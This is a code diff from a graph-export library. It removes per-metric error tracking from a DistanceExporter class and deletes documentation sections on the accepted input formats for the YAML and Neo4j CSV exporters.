return (float(sim) if isinstance(sim, (int, float)) else None), None
|
||||
return float(sim) if isinstance(sim, (int, float)) else None
|
||||
except Exception:
|
||||
logger.warning("Semantic similarity computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "semantic_similarity"
|
||||
return None
|
||||
|
||||
def compute_pairs(
|
||||
self,
|
||||
include: Optional[List[str]] = None,
|
||||
node_subset: Optional[List[str]] = None,
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""Compute all pairwise distance metrics and return as a list of dicts.
|
||||
|
||||
When ``include`` contains ``"metric_errors"``, each row gains a
|
||||
``metric_errors`` field: an empty string when all metrics succeeded, or
|
||||
a comma-separated list of metric names that raised during computation
|
||||
(e.g. ``"hop_count,weighted_distance"``). This lets downstream consumers
|
||||
distinguish legitimate ``None`` (no path) from computation failure.
|
||||
"""
|
||||
"""Compute all pairwise distance metrics and return as a list of dicts."""
|
||||
include_set = set(include or _ALL_COLUMNS)
|
||||
track_errors = "metric_errors" in include_set
|
||||
include_set.discard("metric_errors") # not a real metric to compute
|
||||
graph_dict = self._build_graph_dict()
|
||||
|
||||
node_ids = node_subset or list(self.graph.nodes.keys())
|
||||
|
||||
betweenness: Dict[str, float] = {}
|
||||
betweenness_err: Optional[str] = None
|
||||
if "source_betweenness" in include_set or "target_betweenness" in include_set:
|
||||
betweenness, betweenness_err = self._betweenness(graph_dict)
|
||||
betweenness = self._betweenness(graph_dict)
|
||||
|
||||
rows = []
|
||||
for i, src in enumerate(node_ids):
|
||||
@@ -149,10 +125,6 @@ class DistanceExporter:
|
||||
if src == tgt:
|
||||
continue
|
||||
row: Dict[str, Any] = {}
|
||||
errors: List[str] = []
|
||||
if betweenness_err:
|
||||
errors.append(betweenness_err)
|
||||
|
||||
if "source_id" in include_set:
|
||||
row["source_id"] = src
|
||||
if "source_type" in include_set:
|
||||
@@ -164,23 +136,15 @@ class DistanceExporter:
|
||||
|
||||
hop_count: Optional[int] = None
|
||||
if "hop_count" in include_set or "distance_band" in include_set:
|
||||
hop_count, hop_err = self._hop_distance(graph_dict, src, tgt)
|
||||
if hop_err:
|
||||
errors.append(hop_err)
|
||||
hop_count = self._hop_distance(graph_dict, src, tgt)
|
||||
if "hop_count" in include_set:
|
||||
row["hop_count"] = hop_count
|
||||
|
||||
if "weighted_distance" in include_set:
|
||||
wd_val, wd_err = self._weighted_distance(graph_dict, src, tgt)
|
||||
row["weighted_distance"] = wd_val
|
||||
if wd_err:
|
||||
errors.append(wd_err)
|
||||
row["weighted_distance"] = self._weighted_distance(graph_dict, src, tgt)
|
||||
|
||||
if "semantic_similarity" in include_set:
|
||||
ss_val, ss_err = self._semantic_similarity(graph_dict, src, tgt)
|
||||
row["semantic_similarity"] = ss_val
|
||||
if ss_err:
|
||||
errors.append(ss_err)
|
||||
row["semantic_similarity"] = self._semantic_similarity(graph_dict, src, tgt)
|
||||
|
||||
if "distance_band" in include_set:
|
||||
row["distance_band"] = classify_path_distance(hop_count) if hop_count is not None else "distant"
|
||||
@@ -190,9 +154,6 @@ class DistanceExporter:
|
||||
if "target_betweenness" in include_set:
|
||||
row["target_betweenness"] = betweenness.get(tgt)
|
||||
|
||||
if track_errors:
|
||||
row["metric_errors"] = ",".join(errors) if errors else ""
|
||||
|
||||
rows.append(row)
|
||||
return rows
|
||||
|
||||
|
||||
@@ -297,57 +297,6 @@ export_yaml(semantic_network, "network.yaml", method="semantic_network")
|
||||
export_yaml(schema, "schema.yaml", method="schema")
|
||||
```
|
||||
|
||||
### Accepted Input
|
||||
|
||||
Both YAML exporters read their payload by key, so the input must be a mapping;
|
||||
anything else raises `ProcessingError`. A bare list is rejected rather than
|
||||
wrapped, since these formats distinguish entities from relationships from
|
||||
triplets and guessing which one a list holds would mislabel the records.
|
||||
|
||||
Each exporter then reads a fixed set of keys, and raises `ValidationError` on a
|
||||
non-empty mapping that supplies none of them — such a payload would otherwise
|
||||
serialize to a valid file with every collection empty. Naming a recognized key
|
||||
is not enough on its own: `{"entities": [], "data": [...]}` also raises, since
|
||||
nothing resolves while the records sit under a key the exporter never reads.
|
||||
|
||||
| Method | Recognized keys |
|
||||
| :--- | :--- |
|
||||
| `"semantic_network"` | `entities` (alias `nodes`), `relationships` (alias `edges`), `triplets` |
|
||||
| `"schema"` | `classes`, `properties`, `namespaces`, `uri`, `title`, `description`, `version` |
|
||||
|
||||
`metadata` is carried through on both, but does not by itself make a payload
|
||||
recognized — an `export_json` envelope (`{"data": [...], "count": N,
|
||||
"metadata": {...}}`) carries one and is rejected.
|
||||
|
||||
```python
|
||||
# ContextGraph.to_dict() exports directly via the nodes/edges aliases
|
||||
export_yaml(context_graph.to_dict(), "graph.yaml")
|
||||
|
||||
# A bare list has no unambiguous meaning here
|
||||
export_yaml(records, "out.yaml") # ProcessingError
|
||||
|
||||
# An export_json payload is refused rather than written out empty
|
||||
export_yaml({"data": records}, "out.yaml") # ValidationError
|
||||
|
||||
# ...and so is one that names a recognized key but leaves it empty
|
||||
export_yaml({"entities": [], "data": records}, "out.yaml") # ValidationError
|
||||
```
|
||||
|
||||
The value under a recognized key must be a collection of records — a list or
|
||||
tuple of mappings or objects. A string, a bare mapping, or a scalar raises
|
||||
`ValidationError` naming the key, rather than being iterated into
|
||||
character-sized "records" or surfacing as a `TypeError` from inside the
|
||||
exporter. `None` is read as an absent collection, the same as `[]`.
|
||||
|
||||
```python
|
||||
export_yaml({"entities": "abc"}, "out.yaml") # ValidationError
|
||||
export_yaml({"entities": 42}, "out.yaml") # ValidationError
|
||||
export_yaml({"nodes": {"id": "n1"}}, "out.yaml") # ValidationError — wrap it in a list
|
||||
```
|
||||
|
||||
An empty mapping is still accepted: an empty graph is a legitimate export and
|
||||
has no records to lose.
|
||||
|
||||
## OWL Export
|
||||
|
||||
### OWL/XML Format
|
||||
@@ -530,23 +479,6 @@ Pass `validate=True` to run a post-export integrity check before returning:
|
||||
export_neo4j_csv(kg, "neo4j_import/", validate=True)
|
||||
```
|
||||
|
||||
#### Accepted Input
|
||||
|
||||
Mapping payloads are read on the same terms as the YAML exporters (see [Accepted
|
||||
Input](#accepted-input) above): `entities`/`relationships`, with `nodes`/`edges`
|
||||
accepted as aliases. A non-empty mapping that supplies neither — or that supplies
|
||||
a malformed collection value — raises `ValidationError` rather than writing
|
||||
header-only CSVs indistinguishable from a genuinely exported empty graph. The
|
||||
payload is normalized before any file is opened, so a rejected export writes
|
||||
nothing.
|
||||
|
||||
Graph *objects* are unaffected: they are still read off `nodes`/`entities` and
|
||||
`edges`/`relationships` attributes.
|
||||
|
||||
```python
|
||||
export_neo4j_csv({"data": [{"id": "e1"}]}, "neo4j_import/") # ValidationError
|
||||
```
|
||||
|
||||
#### Importing into Neo4j
|
||||
|
||||
Once the CSV files are generated, they can be imported into a new Neo4j database using the `neo4j-admin database import` command:
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user